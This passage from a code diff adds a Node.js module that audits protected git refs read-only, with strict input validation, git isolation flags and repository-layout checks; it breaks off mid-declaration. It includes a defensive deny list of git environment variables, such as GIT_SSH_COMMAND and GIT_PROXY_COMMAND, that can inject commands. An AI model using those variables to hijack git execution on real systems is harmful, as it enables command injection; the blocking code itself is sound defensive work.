MAX_GIT_OUTPUT_BYTES, + MAX_GIT_TIME_MS, + MAX_GIT_TOTAL_TIME_MS, +} from './git-identity.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { RunContractV1Error, isSha40 } from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const PROTECTED_REF_AUDIT_SCHEMA_ID = 'codex-co-engineer.protected-ref-audit.v1'; +export const PROTECTED_REF_AUDIT_VERSION = 1; +export const MAX_AUDIT_REFS = 16; +export const MAX_AUDIT_OBJECT_KEYS = 32; +export const MAX_AUDIT_KEY_BYTES = 128; +export const MAX_AUDIT_GIT_COMMANDS = 8; +export const MAX_AUDIT_GIT_ARGS = 64; +export const MAX_LAYOUT_FILE_BYTES = 4096; + +export const PROTECTED_REF_AUDIT_STATUSES = capturedFreeze(['failed', 'verified']); +export const PROTECTED_REF_AUDIT_REPOSITORY_KINDS = capturedFreeze([ + 'bare', 'linked_worktree', 'local', +]); +export const PROTECTED_REF_AUDIT_STORAGE_CLASSES = capturedFreeze([ + 'absent', 'loose', 'packed', 'symbolic', 'unknown', +]); +export const PROTECTED_REF_AUDIT_FINDING_CODES = capturedFreeze([ + 'aliased_ref', 'hostile_ref', 'missing_ref', 'moved_ref', 'packed_ref', + 'race_detected', 'symbolic_ref', +]); +export const PROTECTED_REF_AUDIT_FAILING_CODES = capturedFreeze([ + 'aliased_ref', 'hostile_ref', 'missing_ref', 'moved_ref', 'race_detected', + 'symbolic_ref', +]); +export const PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS = capturedFreeze([ + 'for-each-ref', 'rev-parse', +]); +export const PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'config_mutated', 'credentials_accessed', 'index_mutated', + 'packed_refs_rewritten', 'ref_mutated', 'remote_mutated', 'worktree_mutated', +]); +export const PROTECTED_REF_AUDIT_CHECKS = capturedFreeze([ + 'request_quarantine', + 'p28_authority_policy', + 'p29_remote_mutation_denial', + 'protected_or_default_only', + 'canonical_repository', + 'replace_and_graft_absence', + 'declared_ref_snapshot', + 'packed_vs_loose_storage', + 'race_repeat_snapshot', +]); + +export const REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'default_branch', 'expected_refs', 'identity', 'init_default_branch', + 'manifest_digest_hex', 'operation', 'origin_head_branch', 'schema', + 'sequence', 'version', +]); +export const REQUEST_REQUIRED_KEYS = capturedFreeze([ + 'expected_refs', 'identity', 'schema', 'version', +]); +export const EXPECTED_REF_ALLOWED_KEYS = capturedFreeze(['ref', 'sha']); +export const OPTIONS_ALLOWED_KEYS = capturedFreeze(['spawn']); +export const COMPARISON_KEYS = capturedFreeze([ + 'default_branch_target', 'outcome', 'protected', 'ref_class', 'storage', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'comparisons', 'discrepancies', 'facts', + 'findings', 'observation', 'observed_classes', 'repository_kind', 'run_id', + 'schema', 'side_effects', 'status', 'version', +]); + +export const PROTECTED_REF_AUDIT_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', + 'audit_operation_denied', 'authority_identity_invalid', 'bounds_exceeded', + 'config_influence_denied', 'credential_content_denied', + 'env_influence_denied', 'exotic_prototype_denied', + 'expected_ref_not_protected', 'grafts_denied', 'git_execution_failed', + 'hostile_name_denied', 'invalid_format', 'invalid_type', 'missing_key', + 'non_enumerable_property_denied', 'out_of_range', 'own_undefined_denied', + 'proxy_denied', 'replace_refs_denied', 'remote_mutation_denied', + 'repository_invalid', 'repository_missing', 'symbol_key_denied', + 'unknown_key', 'value_depth_exceeded', +]); + +const SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const TRUE_FALSE_PATTERN = /^(?:true|false)$/u; +const OBJECT_TYPE_PATTERN = /^(?:blob|commit|tag|tree)$/u; +const GITDIR_LINE_PATTERN = /^gitdir:[ \t]*(.+)$/u; + +const DEFINE = Object.defineProperty; +const OBJECT_IS = Object.is; +const IS_INT = Number.isSafeInteger; +const STRING = String; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); +const IS_ARRAY = Array.isArray; +const OWN_KEYS = Reflect.ownKeys; +const SET_CTOR = Set; +const HASH = createHash; +const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; +const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; +const IS_PROXY = utilTypes.isProxy; +const REFLECT_APPLY = Reflect.apply; +const ARRAY_PUSH = Array.prototype.push; +const PATH_JOIN = path.join; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const PATH_RESOLVE = path.resolve; +const SPAWN = nodeSpawn; +const LSTAT = nodeLstat; +const READFILE = nodeReadFile; +const REALPATH = nodeRealpath; +const MATH_MIN = Math.min; +const MATH_MAX = Math.max; +const MATH_FLOOR = Math.floor; + +const GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', + '-c', 'core.fsmonitor=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.untrackedCache=false', +]); + +const FORBIDDEN_ENV_KEYS = capturedFreeze([ + 'GIT_DIR', 'GIT_WORK_TREE', 'GIT_OBJECT_DIRECTORY', + 'GIT_ALTERNATE_OBJECT_DIRECTORIES', 'GIT_INDEX_FILE', 'GIT_COMMON_DIR', + 'GIT_NAMESPACE', 'GIT_CONFIG', 'GIT_CONFIG_COUNT', 'GIT_CONFIG_PARAMETERS', + 'GIT_REPLACE_REF_BASE', 'GIT_GRAFT_FILE', 'GIT_QUARANTINE_PATH', + 'GIT_PROXY_COMMAND', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GIT_TRACE', + 'GIT_TRACE2', 'GIT_EXEC_PATH', 'GIT_TEMPLATE_DIR', +]); + +const MSG = capturedFreeze({ + accessor_property_denied: 'ProtectedRefAuditV1 denies accessor inputs.', + aliased_reference_denied: 'ProtectedRefAuditV1 denies aliased inputs.', + audit_operation_denied: 'ProtectedRefAuditV1 permits read-only inspect only.', + authority_identity_invalid: 'ProtectedRefAuditV1 rejected the credential-free repository identity.', + bounds_exceeded: 'ProtectedRefAuditV1 exceeded a closed observation bound.', + config_influence_denied: 'ProtectedRefAuditV1 denies config, replace, or graft influence.', + credential_content_denied: 'ProtectedRefAuditV1 denies credentials and remote mutation material.', + env_influence_denied: 'ProtectedRefAuditV1 denies git environment influence.', + exotic_prototype_denied: 'ProtectedRefAuditV1 denies exotic prototypes.', + expected_ref_not_protected: 'ProtectedRefAuditV1 audits only P28 protected or default refs.', + grafts_denied: 'ProtectedRefAuditV1 denies grafts and shallow history.', + git_execution_failed: 'ProtectedRefAuditV1 could not complete a git observation.', + hostile_name_denied: 'ProtectedRefAuditV1 denied a hostile ref or argument.', + invalid_format: 'ProtectedRefAuditV1 rejected a value that violates a closed grammar.', + invalid_type: 'ProtectedRefAuditV1 rejected a non-JSON audit value.', + missing_key: 'ProtectedRefAuditV1 requires every canonical audit key.', + non_enumerable_property_denied: 'ProtectedRefAuditV1 denies non-enumerable properties.', + out_of_range: 'ProtectedRefAuditV1 rejected a value outside closed bounds.', + own_undefined_denied: 'ProtectedRefAuditV1 denies own undefined values.', + proxy_denied: 'ProtectedRefAuditV1 denies Proxy inputs.', + replace_refs_denied: 'ProtectedRefAuditV1 denies replace refs.', + remote_mutation_denied: 'ProtectedRefAuditV1 denies remote mutation and credential access.', + repository_invalid: 'ProtectedRefAuditV1 rejected an untrusted repository layout.', + repository_missing: 'ProtectedRefAuditV1 could not observe the declared repository.', + symbol_key_denied: 'ProtectedRefAuditV1 denies symbol keys.', + unknown_key: 'ProtectedRefAuditV1 rejects keys outside the closed vocabulary.', + value_depth_exceeded: 'ProtectedRefAuditV1 rejected nested input that exceeds closed depth.', +}); + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!capturedHasOwn(values, key)) continue; + DEFINE(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function deny(code, pathLabel) { + fail(code, pathLabel, MSG[code] ?? MSG.invalid_format); +} + +function publicCode(error) { + if (error instanceof RunContractV1Error + && capturedIncludes(PROTECTED_REF_AUDIT_ERROR_CODES, error.code)) { + return error.code; + } + return 'invalid_type'; +} + +function remap(error, pathLabel) { + deny(publicCode(error), pathLabel); +} + +function assertClosedObject(input, allowed, pathLabel) { + if (input === undefined || input === null) deny('invalid_type', pathLabel); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + } + if (typeof input !== 'object') deny('invalid_type', pathLabel); + try { + assertPlainObject(input, 'invalid_type', pathLabel, pathLabel); + } catch (error) { remap(error, pathLabel); } + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', pathLabel); } + if (keys.length > MAX_AUDIT_OBJECT_KEYS) deny('out_of_range', pathLabel); + const allowedSet = new SET_CTOR(allowed); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_AUDIT_KEY_BYTES) { + deny('out_of_range', pathLabel); + } + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + try { + assertDirectJsonClosure(input, pathLabel); + } catch (error) { remap(error, pathLabel); } + return input; +} + +function requireKeys(input, keys, pathLabel) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', pathLabel); + } +} + +function digestOf(value) { + const hash = HASH('sha256'); + HASH_UPDATE.call(hash, canonicalJsonStringify(value)); + const digest = HASH_DIGEST.call(hash, 'hex'); + if (!capturedTest(SHA256_PATTERN, digest)) deny('invalid_format', 'digest'); + return digest; +} + +function isSymlinkStat(metadata) { + return typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink(); +} + +async function lstatOrNull(target) { + try { + return await LSTAT(target); + } catch { + return null; + } +} + +function resolveLayoutPath(raw, fromDir, pathLabel) { + if (typeof raw !== 'string' || raw.length === 0 || raw.includes('\0')) { + deny('repository_invalid', pathLabel); + } + const resolved = PATH_IS_ABSOLUTE(raw) ? PATH_RESOLVE(raw) : PATH_RESOLVE(fromDir, raw); + if (!PATH_IS_ABSOLUTE(resolved) || PATH_RESOLVE(resolved) !== resolved) { + deny('repository_invalid', pathLabel); + } + return resolved; +} + +async function readBoundedUtf8(target, pathLabel) { + const metadata = await lstatOrNull(target); + if (metadata === null) return null; + if (isSymlinkStat(metadata) || typeof metadata.isFile !== 'function' || !metadata.isFile()) { + deny('repository_invalid', pathLabel); + } + if (typeof metadata.size === 'number' && metadata.size > MAX_LAYOUT_FILE_BYTES) { + deny('repository_invalid', pathLabel); + } + let text; + try { + text = await READFILE(target, { encoding: 'utf8' }); + } catch { + deny('repository_invalid', pathLabel); + } + if (typeof text !== 'string' || BYTE_LENGTH(text, 'utf8') > MAX_LAYOUT_FILE_BYTES) { + deny('repository_invalid', pathLabel); + } + return text; +} + +async function realpathOf(target, pathLabel) { + try { + return await REALPATH(target); + } catch { + deny('repository_invalid', pathLabel); + } +} + +async function assertDirectoryNotSymlink(target, pathLabel) { + let metadata; + try { + metadata = await LSTAT(target); + } catch { + deny('repository_invalid', pathLabel); + } + if (isSymlinkStat(metadata) || typeof metadata.isDirectory !== 'function' || !metadata.isDirectory()) { + deny('repository_invalid', pathLabel); + } + return realpathOf(target, pathLabel); +} + +function oneLayoutLine(text, pathLabel) { + if (typeof text !== 'string') deny('repository_invalid', pathLabel); + let value = text; + if (value.endsWith('\n')) value = value.slice(0, -1); + if (value.endsWith('\r')) value = value.slice(0, -1); + if (value.includes('\n') || value.includes('\r') || value.includes('\0')) { + deny('repository_invalid', pathLabel); + } + return value; +} + +function assertInspectEnv(env, pathLabel) { + if (env !== GIT_INSPECT_ENV) deny('env_influence_denied', pathLabel); + for (let i = 0; i < FORBIDDEN_ENV_KEYS.length; i += 1) { + if (capturedHasOwn(env, FORBIDDEN_ENV_KEYS[i])) deny('env_influence_denied', pathLabel); + } +} + +function assertGitArgv(args, pathLabel) { + if (!IS_ARRAY(args)) deny('invalid_type', pathLabel); + if (args.length > MAX_AUDIT_GIT_ARGS) deny('bounds_exceeded', pathLabel); + for (let i = 0; i < args.length; i += 1) { + const arg = args[i]; + if (typeof arg !== 'string' || arg.length === 0 || arg.includes('\0')) { + deny('hostile_name_denied', pathLabel); + } + if (BYTE_LENGTH(arg, 'utf8') > MAX_GIT_ARG_BYTES) deny('bounds_exceeded', pathLabel); + } +} + +function assertReadonlyCommand(args, pathLabel) { + let command; + for (let i = 0; i < args.length; i += 1) { + const arg = args[i]; + if (arg === '-C' || arg === '--git-dir' || arg === '-c') { + i += 1; + continue; + } + if (typeof arg === 'string' && arg.startsWith('-')) continue; + command = arg; + break; + } + if (!capturedIncludes(PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS, command)) { + deny('audit_operation_denied', pathLabel); + } +} + +function createSession(spawnFn) { + const startedAt = Date.now(); + return { + spawn: spawnFn, + commands: 0, + startedAt, + deadlineAt: startedAt + MAX_GIT_TOTAL_TIME_MS, + }; +} + +function remainingMs(session) { + const left = session.deadlineAt - Date.now(); + return left > 0 ? left : 0; +} + +function assertSessionBounds(session, pathLabel) { + if (session.commands >= MAX_AUDIT_GIT_COMMANDS) deny('bounds_exceeded', pathLabel); + if (Date.now() >= session.deadlineAt) deny('bounds_exceeded', pathLabel); +} + +function ownedChunk(chunk, pathLabel) { + try { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (BUFFER_IS_BUFFER(chunk)) return BUFFER_FROM(chunk); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + deny('git_execution_failed', pathLabel); +} + +function runGit(session, args, pathLabel) { + assertGitArgv(args, `${pathLabel}.args`); + assertReadonlyCommand(args, pathLabel); + assertSessionBounds(session, pathLabel); + const budget = remainingMs(session); + if (budget <= 0) deny('bounds_exceeded', pathLabel); + session.commands += 1; + const argv = [...GIT_ISOLATION_FLAGS, ...args]; + assertGitArgv(argv, `${pathLabel}.argv`); + const spawnOptions = { + cwd: '/', + env: GIT_INSPECT_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + assertInspectEnv(spawnOptions.env, `${pathLabel}.env`); + return new Promise((resolve, reject) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv, spawnOptions); + } catch { + reject(new RunContractV1Error( + 'git_execution_failed', pathLabel, MSG.git_execution_failed, + )); + return; + } + if (child === null || (typeof child !== 'object' && typeof child !== 'function')) { + reject(new RunContractV1Error( + 'git_execution_failed', pathLabel, MSG.git_execution_failed, + )); + return; + } + try { + if (IS_PROXY(child)) deny('proxy_denied', pathLabel); + } catch (error) { + reject(error instanceof RunContractV1Error + ? error + : new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + let timer; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) reject(error instanceof RunContractV1Error + ? error + : new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { child.kill('SIGKILL'); } catch { /* already exited */ } + finish(new RunContractV1Error('bounds_exceeded', pathLabel, MSG.bounds_exceeded)); + }; + timer = setTimeout(exceed, MATH_MIN(MAX_GIT_TIME_MS, budget)); + const onChunk = (target, getSize, setSize) => (chunk) => { + try { + const owned = ownedChunk(chunk, pathLabel); + const next = getSize() + owned.length; + setSize(next); + if (next > MAX_GIT_OUTPUT_BYTES) { + exceed(); + return; + } + REFLECT_APPLY(ARRAY_PUSH, target, [owned]); + } catch (error) { + finish(error); + } + }; + try { + if (child.stdout && typeof child.stdout.on === 'function') { + child.stdout.on('data', onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; })); + } + if (child.stderr && typeof child.stderr.on === 'function') { + child.stderr.on('data', onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; })); + } + child.once('error', () => { + finish(new RunContractV1Error( + 'git_execution_failed', pathLabel, MSG.git_execution_failed, + )); + }); + child.once('close', (code, signal) => { + if (exceeded) return; + if (Date.now() >= session.deadlineAt) { + finish(new RunContractV1Error('bounds_exceeded', pathLabel, MSG.bounds_exceeded)); + return; + } + if (signal !== null && signal !== undefined) { + finish(new RunContractV1Error( + 'git_execution_failed', pathLabel, MSG.git_execution_failed, + )); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout: BUFFER_CONCAT(stdoutChunks).toString('utf8'), + stderr: BUFFER_CONCAT(stderrChunks).toString('utf8'), + }); + }); + } catch { + try { child.kill('SIGKILL'); } catch { /* already exited */ } + finish(new RunContractV1Error( + 'git_execution_failed', pathLabel, MSG.git_execution_failed, + )); + } + }); +} + +async function gitLines(session, args, pathLabel, count) { + const result = await runGit(session, args, pathLabel); + if (result.exit_code !== 0) deny('git_execution_failed', pathLabel); + let text = result.stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.includes('\0') || text.includes('\r')) deny('git_execution_failed', pathLabel); + const lines = text.length === 0 ? [] : text.split('\n'); + if (count !== undefined && lines.length !== count) deny('git_execution_failed', pathLabel); + return lines; +} + +function cwdFlags(repositoryPath) { + return capturedFreeze(['-C', repositoryPath]); +} + +function parseExpectedRef(input, pathLabel, seenRefs, seenObjects) { + const object = assertClosedObject(input, EXPECTED_REF_ALLOWED_KEYS, pathLabel); + requireKeys(object, EXPECTED_REF_ALLOWED_KEYS, pathLabel); + for (const prior of seenObjects) { + if (OBJECT_IS(prior, input)) deny('aliased_reference_denied', pathLabel); + } + seenObjects.push(input); + const refValue = optOwn(object, 'ref'); + if (typeof refValue !== 'string') deny('invalid_type', `${pathLabel}.ref`); + const sha = optOwn(object, 'sha'); + if (typeof sha !== 'string' || !isSha40(sha)) deny('invalid_format', `${pathLabel}.sha`); + if (seenRefs.has(refValue)) deny('invalid_format', pathLabel); + seenRefs.add(refValue); + return { ref: refValue, sha }; +} + +function parseExpectedRefs(input, pathLabel) { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + if (!IS_ARRAY(input)) deny('invalid_type', pathLabel); + if (input.length < 1 || input.length > MAX_AUDIT_REFS) deny('out_of_range', pathLabel); + const seenRefs = new SET_CTOR(); + const seenObjects = []; + const refs = []; + for (let i = 0; i < input.length; i += 1) { + let item; + try { + item = ownDataValue(input, STRING(i), `${pathLabel}[${i}]`); + } catch (error) { remap(error, pathLabel); } + refs.push(parseExpectedRef(item, `${pathLabel}[${i}]`, seenRefs, seenObjects)); + } + return capturedFreeze(refs); +} + +function parseSequence(input, pathLabel) { + if (!hasOwn(input, 'sequence')) return 0; + const value = optOwn(input, 'sequence'); + if (typeof value !== 'number' || !IS_INT(value) || value < 0 || value > MAX_SEQUENCE) { + deny('out_of_range', pathLabel); + } + return value; +} + +function parseOptionalBranch(input, key, pathLabel) { + if (!hasOwn(input, key)) return undefined; + const value = optOwn(input, key); + if (typeof value !== 'string' || value.length === 0 + || capturedUtf8ByteLength(value) > MAX_AUDIT_KEY_BYTES) { + deny('invalid_format', `${pathLabel}.${key}`); + } + return value; +} + +function assertAuditOperation(operation, pathLabel) { + try { + denyWorkerRemoteMutation(operation); + } catch (error) { + if (error instanceof CredentialBoundaryError) deny('remote_mutation_denied', pathLabel); + if (error instanceof RunContractV1Error) remap(error, pathLabel); + deny('remote_mutation_denied', pathLabel); + } + if (capturedIncludes(DENIED_OPERATIONS, operation)) deny('remote_mutation_denied', pathLabel); + if (operation !== 'read_only_inspect') deny('audit_operation_denied', pathLabel); + return operation; +} + +function classifyDeclaredRef(entry, identity, extras) { + const request = { ref: entry.ref, identity }; + for (const key of [ + 'default_branch', 'origin_head_branch', 'init_default_branch', 'manifest_digest_hex', + ]) { + if (extras[key] !== undefined) request[key] = extras[key]; + } + const classified = classifyRefV1(request); + if (classified.ref_class === 'unclassified' || classified.code === 'branch_namespace_violation') { + deny('hostile_name_denied', 'expected_refs'); + } + if (classified.protected !== true || isProtectedRefV1(request) !== true) { + deny('expected_ref_not_protected', 'expected_refs'); + } + return classified; +} + +export function parseProtectedRefAuditRequestV1(input, pathLabel = 'protected_ref_audit') { + const object = assertClosedObject(input, REQUEST_ALLOWED_KEYS, pathLabel); + requireKeys(object, REQUEST_REQUIRED_KEYS, pathLabel); + if (optOwn(object, 'schema') !== PROTECTED_REF_AUDIT_SCHEMA_ID) { + deny('invalid_format', `${pathLabel}.schema`); + } + if (optOwn(object, 'version') !== PROTECTED_REF_AUDIT_VERSION) { + deny('invalid_format', `${pathLabel}.version`); + } + const identityInput = optOwn(object, 'identity'); + const bound = bindAuthorityIdentityV1(identityInput); + const repositoryPath = optOwn(identityInput, 'repository_path'); + const expectedRefs = parseExpectedRefs(optOwn(object, 'expected_refs'), `${pathLabel}.expected_refs`); + const extras = { + default_branch: parseOptionalBranch(object, 'default_branch', pathLabel), + origin_head_branch: parseOptionalBranch(object, 'origin_head_branch', pathLabel), + init_default_branch: parseOptionalBranch(object, 'init_default_branch', pathLabel), + }; + if (hasOwn(object, 'manifest_digest_hex')) { + const digest = optOwn(object, 'manifest_digest_hex'); + if (typeof digest !== 'string' || !capturedTest(/^[0-9a-f]{64}$/u, digest)) { + deny('invalid_format', `${pathLabel}.manifest_digest_hex`); + } + extras.manifest_digest_hex = digest; + } + const operation = hasOwn(object, 'operation') + ? optOwn(object, 'operation') + : 'read_only_inspect'; + if (typeof operation !== 'string') deny('invalid_type', `${pathLabel}.operation`); + assertAuditOperation(operation, `${pathLabel}.operation`); + parseGitAuthorityPolicyV1(GIT_AUTHORITY_POLICY_V1); + const classified = []; + for (let i = 0; i < expectedRefs.length; i += 1) { + classified.push(classifyDeclaredRef(expectedRefs[i], identityInput, extras)); + } + const sequence = parseSequence(object, `${pathLabel}.sequence`); + return freezeRecord([ + 'schema', 'version', 'identity', 'repository_path', 'expected_refs', + 'classified', 'extras', 'operation', 'sequence', + ], { + schema: PROTECTED_REF_AUDIT_SCHEMA_ID, + version: PROTECTED_REF_AUDIT_VERSION, + identity: bound, + repository_path: repositoryPath, + expected_refs: expectedRefs, + classified: capturedFreeze(classified), + extras: freezeRecord( + ['default_branch', 'origin_head_branch', 'init_default_branch', 'manifest_digest_hex'], + extras, + ), + operation, + sequence, + }); +} + +function parseOptions(options, pathLabel = 'options') { + if (options === undefined) { + return freezeRecord(OPTIONS_ALLOWED_KEYS, { spawn: SPAWN }); + } + try { assertNotProxy(options, pathLabel); } catch (error) { remap(error, pathLabel); } + if (options === null || typeof options !== 'object' || IS_ARRAY(options)) { + deny('invalid_type', pathLabel); + } + let keys; + try { keys = OWN_KEYS(options); } catch { deny('invalid_type', pathLabel); } + if (keys.length > MAX_AUDIT_OBJECT_KEYS) deny('out_of_range', pathLabel); + const allowed = new SET_CTOR(OPTIONS_ALLOWED_KEYS); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_AUDIT_KEY_BYTES) { + deny('out_of_range', pathLabel); + } + if (!allowed.has(key)) deny('unknown_key', pathLabel); + } + let spawn = SPAWN; + if (hasOwn(options, 'spawn')) { + spawn = optOwn(options, 'spawn'); + if (typeof spawn !== 'function') deny('invalid_type', `${pathLabel}.spawn`); + try { assertNotProxy(spawn, `${pathLabel}.spawn`); } catch (error) { remap(error, pathLabel); } + } + return freezeRecord(OPTIONS_ALLOWED_KEYS, { spawn }); +} + +function assertAuthorityInspect(request) { + const verdict = classifyGitOperationV1({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: 'platform', + operation: 'read_only_inspect', + identity: { + repository_path: request.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }, + }); + if (verdict.verdict !== 'allowed' || verdict.code !== 'authority_ok') { + deny('audit_operation_denied', 'operation'); + } + if (!capturedIncludes(ACTOR_VALUES, 'platform')) deny('invalid_format', 'actor'); +} + +async function observeRepositoryKind(session, repositoryPath, pathLabel) { + let metadata; + try { + metadata = await LSTAT(repositoryPath); + } catch { + deny('repository_missing', `${pathLabel}.identity.repository_path`); + } + if (typeof metadata?.isDirectory !== 'function' || !metadata.isDirectory() || isSymlinkStat(metadata)) { + deny('repository_invalid', `${pathLabel}.identity.repository_path`); + } + let resolved; + try { + resolved = await REALPATH(repositoryPath); + } catch { + deny('repository_missing', `${pathLabel}.identity.repository_path`); + } + if (resolved !== repositoryPath || !PATH_IS_ABSOLUTE(resolved) || PATH_RESOLVE(resolved) !== resolved) { + deny('repository_invalid', `${pathLabel}.identity.repository_path`); + } + const lines = await gitLines( + session, + [...cwdFlags(repositoryPath), 'rev-parse', '--path-format=absolute', + '--is-bare-repository', '--is-inside-work-tree', '--absolute-git-dir', + '--git-common-dir', '--git-path', 'packed-refs', '--git-path', 'info/grafts', + '--git-path', 'shallow'], + `${pathLabel}.repository`, + 7, + ); + const [bare, inside, gitDir, commonDir, packedRefsPath, graftsPath, shallowPath] = lines; + if (!capturedTest(TRUE_FALSE_PATTERN, bare) || !capturedTest(TRUE_FALSE_PATTERN, inside)) { + deny('repository_invalid', `${pathLabel}.repository`); + } + for (const candidate of [gitDir, commonDir, packedRefsPath, graftsPath, shallowPath]) { + if (!PATH_IS_ABSOLUTE(candidate) || PATH_RESOLVE(candidate) !== candidate || candidate.includes('\0')) { + deny('repository_invalid', `${pathLabel}.repository`); + } + } + const gitDirReal = await assertDirectoryNotSymlink(gitDir, `${pathLabel}.repository`); + const commonReal = await assertDirectoryNotSymlink(commonDir, `${pathLabel}.repository`); + let kind; + if (bare === 'true') { + if (inside !== 'false' || gitDirReal !== repositoryPath) { + deny('repository_invalid', `${pathLabel}.repository`); + } + kind = 'bare'; + } else { + if (inside !== 'true') deny('repository_invalid', `${pathLabel}.repository`); + const gitEntry = PATH_JOIN(repositoryPath, '.git'); + let entryMeta; + try { + entryMeta = await LSTAT(gitEntry); + } catch { + deny('repository_invalid', `${pathLabel}.repository`); + } + if (isSymlinkStat(entryMeta)) deny('repository_invalid', `${pathLabel}.repository`); + if (typeof entryMeta.isDirectory === 'function' && entryMeta.isDirectory()) { + const entryReal = await realpathOf(gitEntry, `${pathLabel}.repository`); + if (entryReal !== gitDirReal) deny('repository_invalid', `${pathLabel}.repository`); + kind = 'local'; + } else if (typeof entryMeta.isFile === 'function' && entryMeta.isFile()) { + const text = await readBoundedUtf8(gitEntry, `${pathLabel}.repository`); + if (text === null) deny('repository_invalid', `${pathLabel}.repository`); + const match = GITDIR_LINE_PATTERN.exec(oneLayoutLine(text, `${pathLabel}.repository`)); + if (match === null) deny('repository_invalid', `${pathLabel}.repository`); + const declared = resolveLayoutPath(match[1].trim(), repositoryPath, `${pathLabel}.repository`); + const declaredReal = await assertDirectoryNotSymlink(declared, `${pathLabel}.repository`); + if (declaredReal !== gitDirReal) deny('repository_invalid', `${pathLabel}.repository`); + const commondirText = await readBoundedUtf8( + PATH_JOIN(declared, 'commondir'), `${pathLabel}.repository`, + ); + if (commondirText === null) deny('repository_invalid', `${pathLabel}.repository`); + const declaredCommon = await assertDirectoryNotSymlink( + resolveLayoutPath( + oneLayoutLine(commondirText, `${pathLabel}.repository`), + declared, + `${pathLabel}.repository`, + ), + `${pathLabel}.repository`, + ); + if (declaredCommon !== commonReal) deny('repository_invalid', `${pathLabel}.repository`); + kind = 'linked_worktree'; + } else { + deny('repository_invalid', `${pathLabel}.repository`); + } + } + const graftsMeta = await lstatOrNull(graftsPath); + if (graftsMeta !== null) deny('grafts_denied', `${pathLabel}.grafts`); + const shallowMeta = await lstatOrNull(shallowPath); + if (shallowMeta !== null) deny('grafts_denied', `${pathLabel}.shallow`); + return freezeRecord( + ['kind', 'git_dir', 'common_dir', 'packed_refs_path'], + { + kind, + git_dir: gitDirReal, + common_dir: commonReal, + packed_refs_path: packedRefsPath, + }, + ); +} + +function parseRefRecords(lines, pathLabel) { + const records = []; + for (let i = 0; i < lines.length; i += 1) { + const line = lines[i]; + if (line.length === 0) continue; + const parts = line.split('\t'); + if (parts.length !== 4) deny('git_execution_failed', pathLabel); + const [objectname, objecttype, symref, refname] = parts; + if (!isSha40(objectname) || !capturedTest(OBJECT_TYPE_PATTERN, objecttype)) { + deny('git_execution_failed', pathLabel); + } + if (typeof refname !== 'string' || refname.length === 0) deny('git_execution_failed', pathLabel); + records.push(freezeRecord( + ['objectname', 'objecttype', 'symref', 'refname'], + { objectname, objecttype, symref, refname }, + )); + } + return capturedFreeze(records); +} + +function canonicalRecords(records) { + return canonicalJsonStringify(records); +} + +async function 